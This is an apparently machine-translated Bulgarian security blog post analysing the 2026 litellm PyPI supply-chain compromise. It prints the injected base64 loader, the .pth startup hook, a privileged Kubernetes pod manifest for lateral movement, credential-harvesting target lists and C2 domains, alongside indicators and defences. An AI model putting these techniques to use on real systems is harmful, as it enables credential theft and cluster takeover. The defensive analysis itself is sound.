Атака върху веригата за доставки на LiteLLM

Атака по веригата за доставки на LiteLLM: Как TeamPCP е измамно внедрил AI инфраструктура

Защо това има значение

На 24 март 2026 г. популярният пакет Python litellm, универсален LLM прокси шлюз, използван от хиляди enterpriseза маршрутизиране на трафик между приложения и доставчици на изкуствен интелект като OpenAI, Anthropic, Google и AWS Bedrock, беше тихо компрометирана в PyPI. Две заразени версии (1.82.7 и 1.82.8) бяха публикувани в рамките на 13 минути една от друга, носейки многоетапен полезен товар, който краде идентификационни данни, извлича облачни тайни, разпространява се странично през клъстери на Kubernetes и инсталира постоянна задна врата с възможности за дистанционно изпълнение на код.

С приблизително 3.6 милиона дневни изтегляния и дълбоко внедряване в облачна AI инфраструктура, litellm се намира на кръстопътя на всичко, което съвременните нападатели желаят: API ключове за всеки основен доставчик на AI, облачни IAM идентификационни данни, Kubernetes тайни и SSH ключове.

Но компромисът с Litelm не беше изолирано събитие. Той беше кулминацията на петдневна кампания, обхващаща пет екосистеми от злонамерен персонаж, известен като TeamPCP, кампания, която първо е отровила скенери за сигурност (Aqua Trivy, Checkmarx KICS), след което е използвала откраднатите CI/CD идентификационни данни, за да се каскадно прехвърлят надолу по веригата в npm, OpenVSX и накрая PyPI. Атакуващите използваха като оръжие самите инструменти, на които организациите разчитат, за да защитят своите вериги за доставки.

Тази атака представлява съществена промяна в сложността на заплахите за веригата за доставки. Многоетапният, междуекосистемен дизайн, който компрометира инструментите за сигурност, за да достигне висока стойност... ИИ инфраструктура, отразява ниво на планиране и оперативна зрялост, съответстващо на все по-комерсиализираните инструменти за атаки. Полезните товари бяха итерирани в реално време (три варианта на полезния товар се появяват в изходния код, включително коментирани по-ранни версии), C2 инфраструктурата беше регистрирана в деня преди атаката, а домейните за извличане на данни бяха внимателно подбрани, за да имитират легитимна инфраструктура на доставчици. Систематично изчерпателният инструмент за събиране на идентификационни данни, обхващащ над 15 категории, включително нишови цели като ключове за подписване на Cardano и конфигурации на WireGuard, предполага степен на задълбоченост, която сочи към разработването на зловреден софтуер, подпомогнат от изкуствен интелект, като умножител на силата.

История

Дата (UTC) събитие
март 19 TeamPCP компрометира таговете за действие на Aqua Trivy в GitHub, замествайки ги със злонамерен код, който прониква в системата. CI/CD тайни от хранилища надолу по веригата
март 21 Компромисът се разпростира върху Checkmarx KICS и AST GitHub Actions, използвайки подобни техники.
22 март, 06:35 BerriAI публикува litellm 1.82.6 (последна чиста версия) чрез нормално CI/CD pipeline който използва Trivy за сканиране за сигурност
март 23 TeamPCP регистрира models.litellm.cloud (домейн за ексфилтрация). Компрометира над 66 npm пакета и OpenVSX разширения.
24 март, 10:39 litellm 1.82.7 публикуван в PyPI -- полезен товар е инжектиран в proxy_server.py в обхвата на модула. Изпълнява се при импортиране
24 март, 10:52 litellm 1.82.8 публикувана 13 минути по-късно -- добавя litellm_init.pth, кука за конфигуриране на пътя в Python, която се изпълнява при всяко стартиране на интерпретатора на Python, а не само при импортиране на litellm. Показва бърза итерация на полезния товар
24 март, ~16:00 ч. PyPI премахва и двете версии след доклади от общността. Версиите се изтриват напълно (не се изтриват) от индекса, въпреки че CDN tarball-овете остават достъпни.

Прозорец на експозиция: приблизително 5.5 часа. През това време, всяко pip install litellm, pip install --upgrade litellmили CI/CD pipeline изтеглянето на последната версия би изпълнило полезния товар.

Как е проникнал зловредният софтуер: Каскадният компрометиращ софтуер

Пакетът litellm не е бил директно хакерски атакуван. Нападателят е достигнал до него чрез атака на веригата за доставки с два скока:

Aqua Trivy GitHub Action (compromised March 19)     --> LiteLLM CI/CD pipeline runs Trivy without pinned version         --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner             --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI

LiteLLM CI/CD pipeline използва Trivy като скенер за сигурност — самият инструмент, предназначен да открива уязвимости, сам по себе си беше векторът на атаката. Защото pipeline цитиран Trivy чрез променящ се етикет, а не чрез закачен етикет commit SHA, компрометираното действие се изпълни автоматично. Злонамереното действие на Trivy измъкна тайни на средата, включително PYPI_PUBLISH токен, предоставящ на TeamPCP директен достъп за публикуване на проекта litellm PyPI.

Тази стратегия за „компрометиране на охраната“ е отличителен белег на кампанията TeamPCP. Като са се насочили първо към инструментите за сигурност (Trivy, Checkmarx KICS), нападателите едновременно са деактивирали откриването и са получили привилегирован достъп до веригите за доставки надолу по веригата.

Технически анализ: Полезен товар

Точки за инжектиране

Версия 1.82.7 — Изпълнение на ниво модул в litellm/proxy/proxy_server.py (ред 128):

import subprocess, base64, sys, tempfile, os  b64_payload = "<~12KB base64 blob>"  with tempfile.TemporaryDirectory() as d:     p = os.path.join(d, "p.py")     with open(p, "wb") as f:         f.write(base64.b64decode(b64_payload))     subprocess.run([sys.executable, p])

Този код се намира в обхвата на модула между литерал на речника и оригинала showwarning() функция. Тя се изпълнява незабавно, когато litellm.proxy.proxy_server се импортира — което се случва при всяко използване на прокси функционалността на litellm.

Версия 1.82.8 — Добавено litellm_init.pth (Конфигурационен файл за пътя на Python):

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) 

Питон .pth файлове в site-packages/ се обработват при всяко стартиране на интерпретатора, но само редове, започващи с import се изпълняват като код. Атакуващият използва това, като свързва целия полезен товар с един единствен import изявление: import os, subprocess, sys; subprocess.Popen(...)Това е далеч по-агресивно от инжектирането на proxy_server.py — то се задейства, дори ако litellm никога не е импортиран, при всяко стартиране на Python процес. pyproject.toml беше променен, за да включи този файл в дистрибуцията:

include = [     { path = "litellm_init.pth", format = ["sdist", "wheel"] } ]

Версия 1.82.8 следователно има два независими пътя на изпълнение: инжектирането на proxy_server.py (задейства се при импортиране на прокси от litellm) и файла .pth (задейства се при всяко стартиране на Python). Самото излишък е забележително - той предпазва от откриване или премахване на който и да е от двата пътя поотделно. Ескалацията от време на импортиране до изпълнение при стартиране само 13 минути след версия 1.82.7 предполага, че атакуващият е наблюдавал успеха на внедряването и е извършвал бързи итерии.

Етап 1: Цялостно събиране на удостоверения

Декодираният вътрешен сценарий е щателно създаден вакуум за удостоверяване на самоличността. Той използва os.walk()glob.glob()subprocess.check_output()и директно четене на файлове за обхождане на цялата система:

категория Цели
Системна реконструкция hostname, whoami, uname -a, ip addr, printenv, ip route
SSH ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, configключове на хоста от /etc/ssh/
Облак (AWS) ~/.aws/credentials, ~/.aws/configIMDS идентификационни данни за роля чрез 169.254.169.254Мениджър на тайни ListSecretsССМ DescribeParameters
Облак (GCP) ~/.config/gcloud/ (рекурсивен); $GOOGLE_APPLICATION_CREDENTIALS
Облак (Azure) ~/.azure/ (рекурсивно); променливи на средата
Kubernetes Токени за сервизен акаунт; ca.crtпространство от имена; kubectl get secrets --all-namespacesвсички тайни данни чрез K8s API
Файлове на средата .env, .env.local, .env.production, .env.development, .env.staging — търсено рекурсивно (дълбочина 6) напречно /home, /root, /opt, /srv, /var/www, /app, /data, /tmp
докер ~/.docker/config.json, /kaniko/.docker/config.json
Пакетни токени ~/.npmrc, ~/.vault-token, ~/.netrc
Данни ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, конфигурации на MongoDB
TLS / SSL Частни ключове от /etc/ssl/private/, Нека криптираме сертификати, всички .pem/.key/.p12/.pfx файлове
отивам ~/.git-credentials, ~/.gitconfig
CI/CD terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg
Крипто портфейли Биткойн, хранилище за ключове на Ethereum, двойки ключове на Solana (валидатор, гласуване, залог, кран), ключове за подписване на Cardano, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero
История на Шел .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history
Системно удостоверяване /etc/passwd, /etc/shadow, регистрационни файлове за оторизация (приети SSH сесии)
Ключове за уеб куки/API Grep за Slack уебhooks, Discord мрежаhooks, API ключове/секрети в конфигурационните файлове
VPN Конфигурации на WireGuard от /etc/wireguard/

Обхватът на този сборник е енциклопедичен. Той е насочен не само към облачни идентификационни данни, но и към портфейли с криптовалута, пароли за бази данни, VPN конфигурации и... CI/CD тайни — което предполага, че нападателят възнамерява да монетизира компрометираните системи по множество начини.

Етап 2: Криптирана ексфилтрация

Откраднатите данни се криптират и извличат чрез хибридна схема за криптиране:

  • AES-256-CBC криптиране на всички събрани данни със случаен 32-байтов сесиен ключ (чрез openssl enc)
  • RSA-4096 криптиране на сесийния ключ, използвайки вградения публичен ключ на нападателя (OAEP допълване, чрез openssl pkeyutl)
  • И двата шифротекстови файла са пакетирани като tpcp.tar.gz (На tpcp префиксът — „TeamPCP“ — се появява постоянно през цялата кампания)
  • HTTPS POST към https://models.litellm.cloud/ с Content-Type: application/octet-stream

Домейнът models.litellm.cloud е регистриран на 23 март - един ден преди атаката - и е проектиран да се слива с легитимната инфраструктура на Litellm (реалният проект използва litellm.ai). Дори защитник, който е наясно с мрежата и преглежда изходящия трафик, може да не маркира трафик към това, което изглежда като крайна точка на собствения модел на litellm.

Етап 3: Постоянна задна врата (sysmon.py)

Полезният товар инсталира задна врата за анкетиране, маскирана като системна телеметрия:

  • Път~/.config/sysmon/sysmon.py
  • УСЛУГИsysmon.service (потребителска единица systemd, описана като „Системна телеметрична услуга“)
  • ПоведениеСлед първоначален 300-секунден сън, анкетите https://checkmarx.zone/raw на всеки ~50 минути
  • Изпълнение: Изтегля URL адреса, върнат от C2, към /tmp/pglog, го задава като изпълним файл (chmod 755), го изпълнява в отделна сесия
  • Проследяване на състоянието/tmp/.pg_state предотвратява повторното изтегляне на същия полезен товар
  • ПостоянствоRestart=alwaysRestartSec=10 — оцелява при сривове и рестартирания

Домейнът checkmarx.zone е печатна грешка на Checkmarx (охранителната компания в checkmarx.com), проектиран така, че анализаторите на SOC, преглеждащи мрежови регистрационни файлове, да видят трафик към това, което изглежда като легитимен доставчик на сигурност. Това е умишлена техника за избягване, съответстваща на по-широката стратегия на TeamPCP да се крие зад брандирането на доставчик на сигурност.

Етап 3б: Странично движение на Kubernetes

Ако компрометираната система има идентификационни данни за сервизен акаунт на Kubernetes, зловредният софтуер изброява всички възли на клъстера и ги внедрява. привилегировани капсули към всеки един:

pod_manifest = {     'apiVersion': 'v1', 'kind': 'Pod',     'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'},     'spec': {         'nodeName': node_name,         'hostPID': True, 'hostNetwork': True,         'tolerations': [{'operator': 'Exists'}],         'containers': [{             'name': 'setup',             'image': 'alpine:latest',             'command': ['sh', '-c', drop_cmd],             'securityContext': {'privileged': True},             'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]         }],         'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}],         'restartPolicy': 'Never'     } }

Всяка капсула:

  • Изпълнява се като привилегирован с hostPIDhostNetworkи пълен достъп до файловата система на хоста
  • Можете да използвате chroot /host да инсталирам същото sysmon.py задна вратичка на главната файлова система на хоста
  • Регистрира го като системна услуга, осигурявайки запазване на данните след изтриване на pod-а
  • На име node-setup-* в kube-system пространство от имена, което да се появява като легитимна клъстерна инфраструктура

Това означава единичен компрометиран CI/CD бегач с достъп на K8s може да доведе до задна врата на всеки възел в клъстера — катастрофален сценарий на странично движение за организации, използващи litellm като прокси в Kubernetes.

Еволюция на полезния товар (коментирани варианти)

Изходният код на редове 131-132 съдържа два коментирани по-ранни варианта на полезен товар, разкриващи процеса на разработка на атакуващия:

  • И трите варианта споделят една и съща инфраструктура за ексфилтрация (models.litellm.cloud), публичен ключ RSA-4096, хибридна обвивка за криптиране AES-256-CBC + RSA и tpcp.tar.gz именуване на пакети
  • По-ранни варианти добави RC4 слой за криптиране вътре в скрипта за събиране на данни, криптирайки събраните данни преди външната AES+RSA обвивка. Активният полезен товар (ред 130) е опростен чрез премахване на този вътрешен RC4 слой.
  • По-ранните варианти използват exec() с StringIO заснемане, за да се стартира колекторът в процес на работа, докато активният полезен товар използва subprocess.run() с пренасочване на stdout — по-чисто разделяне, което избягва замърсяването на хост процеса
  • И трите варианта са насочени към едни и същи категории идентификационни данни и пътища за събиране.
  • Ключът RC4 в по-ранните варианти беше провокативна обида, съответстваща на поведението на актьора, търсещ внимание в Telegram.

Това разкрива активно развитие по време на операцията. Нападателят е опростил криптиращия стек и е подобрил изолацията на изпълнението, като същевременно е запазил стабилността на целите за събиране на данни и инфраструктурата за извличане на данни.

Индикатори за компромис (МОК)

мрежа

индикатор Тип Цел
models.litellm.cloud домейн Крайна точка на ексфилтрация (HTTPS POST)
checkmarx.zone домейн Крайна точка за запитване на C2 (HTTPS GET /raw)

Забележка: Връзки за външни отчети checkmarx.zone/static/checkmarx-util-1.0.4.tgz към по-ранната фаза на KICS от кампанията TeamPCP. Този URL адрес не беше намерен в анализираните тук полезни товари на litellm.

Хешове на пакети

досие SHA256
litellm-1.82.7.tar.gz 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea
litellm-1.82.8.tar.gz d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5

File System

индикатор Тип Цел
~/.config/sysmon/sysmon.py досие Постоянен скрипт за задна врата
~/.config/systemd/user/sysmon.service досие Systemd единица за постоянство
/tmp/pglog досие Изтеглен двоичен файл от втори етап
/tmp/.pg_state досие Проследяване на състоянието на C2
litellm_init.pth in site-packages/ досие Python hook за стартиране (само за версия 1.82.8)
tpcp.tar.gz досие Криптиран пакет за ексфилтрация

Kubernetes

индикатор Тип Цел
node-setup-* шушулки в kube-system Шушулка Привилегировани капсули за странично движение
sysmon.service върху клъстерни възли УСЛУГИ Устойчивост на ниво хост чрез escape на pod

Криптографски

индикатор Детайли
Публичен ключ на атакуващия RSA-4096 SHA256 пръстов отпечатък: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8Вграден и в трите варианта на полезен товар; същият ключ е докладван и в други операции на TeamPCP.
tpcp префикс в артефактите Конвенция за именуване на пакети (tpcp.tar.gz) последователни през цялата кампания

Приписване: TeamPCP

Заплашителят, стоящ зад тази кампания, е проследяван като TeamPCP, известен също като PCPcat, Persy_PCP, ShellForce и DeadCatx3.

Известни характеристики:

  • Поддържа Telegram канали на @Persy_PCP намлява @teampcp където се подиграваха на охранителни фирми
  • Работи в множество екосистеми (GitHub Actions, PyPI, npm, OpenVSX)
  • Използва специфични за доставчика типосквотни домейни за всяка фаза на кампанията (напр. checkmarx.zone за Чекмаркс, models.litellm.cloud за litellm)
  • Последователни инфраструктурни маркери: една и съща двойка RSA ключове, tpcp.tar.gz конвенция за именуване, tpcp-docs-* GitHub хранилища, използвани като място за съхранение на данни (dead-drop staging)
  • Насочва инструментите за сигурност като входни точки към веригите за доставки надолу по веригата

Увереност в атрибуцията: Високо. Споделеният публичен ключ RSA, tpcp Именуването на артефакти, припокриването на C2 инфраструктурата и оперативното темпо по време на петдневната кампания силно свързват компромисите на Trivy, KICS, npm, OpenVSX и litellm с един и същ участник.

МотивацияВероятни финансови (кражба на крипто портфейли, монетизация на облачни идентификационни данни), комбинирани с известност (подигравки в Telegram). Широкият обхват на събиране на идентификационни данни – от AWS IAM до двойки ключове за валидатор на Solana и конфигурации на WireGuard – предполага финансово мотивиран участник, който се стреми да увеличи максимално възвръщаемостта на инвестициите от всеки компромис.

Възможна помощ от изкуствен интелектСъбирачът на идентификационни данни е систематично изчерпателен — над 15 категории, включително нишови цели като ключове за подписване на Cardano, конфигурации на WireGuard и идентификационни данни за Kaniko Docker — по начин, който е съвместим с изброяването, подпомогнато от изкуствен интелект. Скоростта на итерация на полезния товар (три варианта с различни схеми за криптиране), координацията между екосистемите (5 екосистеми за 5 дни) и оперативната OPSEC (домейни, имитиращи доставчици, хибридно криптиране, постоянство на systemd, прикрито като телеметрия) предполагат ниво на пропускателна способност, което може да отразява разработването, подпомогнато от изкуствен интелект, като умножител на силата. Тази оценка е спекулативна; квалифицирани оператори биха могли да постигнат подобен обхват без инструменти с изкуствен интелект.

Нови ТТП и техники

1. Отравяне на веригата за доставки на инструменти за сигурност (вариант T1195.002)

Компрометирането на скенери за сигурност (Trivy, KICS) като първа стъпка за достигане до целите надолу по веригата е нова ескалация. Нападателят не е компрометирал просто библиотека — той е компрометирал инструментите, които организациите използват, за да... откриване компрометирани библиотеки. Това създава сляпо петно: скенерът, който би трябвало да улови злонамерения код, е самият механизъм за доставка.

2. Питон .pth Съхранение на файла (T1546)

litellm_init.pth Техниката във v1.82.8 е особено коварна. Python .pth файлове в site-packages/ се обработват при всяко стартиране на интерпретатора; всеки ред, започващ с import се изпълнява като код. Чрез свързване на полезния товар към един import оператор, атакуващият постига изпълнение на всеки Python процес — не само когато litellm е импортиран. Това означава, че полезният товар се задейства, дори ако litellm е инсталиран, но никога не се използва, и той оцелява след отстраняване, което замества компрометирания .py файлове без проверка за .pth файлове.

3. Латерално движение в целия клъстер на Kubernetes чрез разполагане на привилегировани подове (T1610, T1611)

Автоматизираното създаване на привилегировани pod-ове на всеки клъстерен възел — с hostPIDhostNetwork, монтиране на файловата система на хоста и chroot да се инсталира persistence — chains container deployment (T1610) с escape to host (T1611), за да се превърне едно компрометирано натоварване в пълно компрометиране на клъстера.

4. Инфраструктура C2, представяща се за доставчик

Използването на models.litellm.cloud (имитира litellm) и checkmarx.zone (имитира Checkmarx) като крайни точки на C2/exfil е проектиран да избягва мрежовото наблюдение. SOC анализаторите, преглеждащи изходящия трафик, биха видели HTTPS връзки към това, което изглежда като легитимни домейни на доставчици.

5. Бърза итерация на полезния товар по време на полет

Публикуването на v1.82.7 с изпълнение по време на импортиране, а след това на v1.82.8 с изпълнение по време на стартиране 13 минути по-късно, показва, че атакуващият наблюдава и се адаптира в реално време. Коментираните варианти на полезния товар (с различни схеми за криптиране), запазени в изходния код, потвърждават активна разработка по време на операцията.

Какво може да се направи

Тази атака експлоатира доверието на всяко ниво: доверие в инструментите за сигурност, доверие в регистрите на пакети, доверие в познати домейни, доверие в CI/CD автоматизация. Защитата срещу нея изисква засилване на всяка от тези граници на доверие:

За потребители на пакети

  • Закрепвайте зависимостите по хеш, не само по версия. pip install litellm==1.82.6 --hash=sha256:... би предотвратило инсталирането на компрометираните версии, дори ако за кратко са се появили като най-новата версия.
  • Използвайте заключващи файлове. pip-compilepoetry.lock, и uv.lock заснемане на точни версии и хешове. CI/CD трябва да се инсталира от заключващи файлове, а не от плаващи спецификатори на версията.
  • Монитор за .pth файлове. Редовно одитирайте site-packages/ за неочаквано .pth файлове — те се изпълняват при всяко стартиране на Python и са недооценен механизъм за персистентност.
  • Внедрете контрол на изходната мрежа. Ексфилтрацията към models.litellm.cloud и C2 анкетиране до checkmarx.zone може да е било засечено от филтриране на изхода, базирано на списък с разрешени данни, в производствени среди.

За поддържащите пакети

  • щифт CI/CD действия от commit SHA, а не таг. LiteLLM pipeline използвах Trivy без закачена версия. Ако беше препращал aquasecurity/trivy-action@<commit-sha> вместо @latest, компрометираното действие нямаше да бъде изпълнено.
  • Използвайте краткотрайни, ограничени по обхват токени за публикуване. PyPI поддържа надеждни издатели (базирани на OIDC) и API токени с определен обхват. Ексфилтрираните PYPI_PUBLISH Токенът не би трябвало да има дълготраен, неограничен достъп за публикуване.
  • Активирайте двуфакторно удостоверяване на PyPI. Изисквайте 2FA за всички администратори и използвайте хардуерни ключове за сигурност, където е възможно.
  • Подписвайте пакети. Атестациите Sigstore/PEP 740 позволяват на потребителите да проверят дали даден пакет е бил създаден по очаквания начин. CI/CD pipeline, а не от нападател с откраднат токен.

За оператори на платформи (PyPI, npm, GitHub)

  • Откриване на аномални модели на публикуване. Две нови версии, публикувани с разлика от 13 минути, от различен IP адрес или токен от обичайното, би трябвало да задействат задържане за преглед или автоматично сканиране, преди пакетът да стане инсталируем.
  • Ускорете приемането на „Доверени издатели“. Публикуването, базирано на OIDC, обвързва пакетите със специфични хранилища и работни процеси, което прави откраднатите токени безполезни извън оригинала. CI/CD контекст.
  • Внедрете сканиране за зловреден софтуер по време на публикуване. Декодираният с base64 полезен товар в proxy_server.py ще бъде откриваем чрез статичен анализ по време на публикуване.

За екосистемата

  • Отнасяйте се към инструментите за сигурност като към критична инфраструктура. KICS-тата Trivy и Checkmarx се използват от милиони pipelineТехните действия в GitHub трябва да бъдат подписани, закачени и наблюдавани със същата строгост, както пакетите, които сканират.
  • Инвестирайте в откриване по време на изпълнение. Само статичният анализ не може да улови всяка техника за обфускация. Мониторинг на инсталирането на пакети по време на изпълнение hooks, неочаквани мрежови връзки и подозрителни модели на достъп до файлове осигуряват защита в дълбочина.
  • Споделяйте информация за заплахите по-бързо. 5.5-часовият прозорец за експозиция за litellm можеше да бъде по-кратък с по-бърза координация между доставчиците. Автоматизирани услуги за сканиране като Xygeni MEW, Socket и Snyk откриха аномалията - проблемът е човешкото потвърждение и времето за реакция на регистъра.

Заключение

Кампанията TeamPCP е повратен момент за software supply chain securityКато компрометират първо скенери за сигурност и ги използват като трамплин към висококачествена инфраструктура с изкуствен интелект, нападателите демонстрираха, че веригата за доставки е толкова силна, колкото е силна най-слабата ѝ транзитивна зависимост, и че тази зависимост може да е инструментът за сигурност, на който можете да се доверите, за да ви пази в безопасност.

Компромисът с litellm подчертава нарастващия риск за инфраструктурата с изкуствен интелект. Тъй като прокси шлюзовете на LLM се превръщат в... standard модел за enterprise При внедряването на изкуствен интелект те концентрират достъпа до API ключове, облачни идентификационни данни и чувствителни данни в един единствен компонент. Компрометирането на този компонент е скелетен ключ към целия AI стек.

Организациите, които са инсталирали litellm 1.82.7 или 1.82.8 през 5.5-часовия прозорец, трябва да третират това като пълен компрометиращ риск за идентификационните данни: да завъртят всички секретни данни на засегнатите системи, да одитират клъстерите на Kubernetes за... node-setup-* шушулки в kube-system, премахнете всички sysmon.service системни единици и проверете за litellm_init.pth в Python site-packages/ директории. Потребители на официалния Docker образ (ghcr.io/berriai/litellm) не бяха засегнати, тъй като изображението закачи зависимостите си и не беше възстановено по време на прозореца за експозиция.

За автора

Съосновател и технически директор

Луис Родригес е съосновател и главен технически директор в Xygeni Security. С над 20 години опит в областта на сигурността на приложенията, той се фокусира върху защитата на AppSec и усъвършенстваните възможности за анализ на код, които помагат на екипите да намалят реалния риск при доставката.

 
инструменти за анализ на състава на софтуера SCA Tools
Приоритизирайте, отстранете и защитете софтуерните си рискове
Вземете своя безплатен акаунт.
Не е необходима кредитна карта.

Осигурете си разработка и доставка на софтуер

с продуктовия пакет Xygeni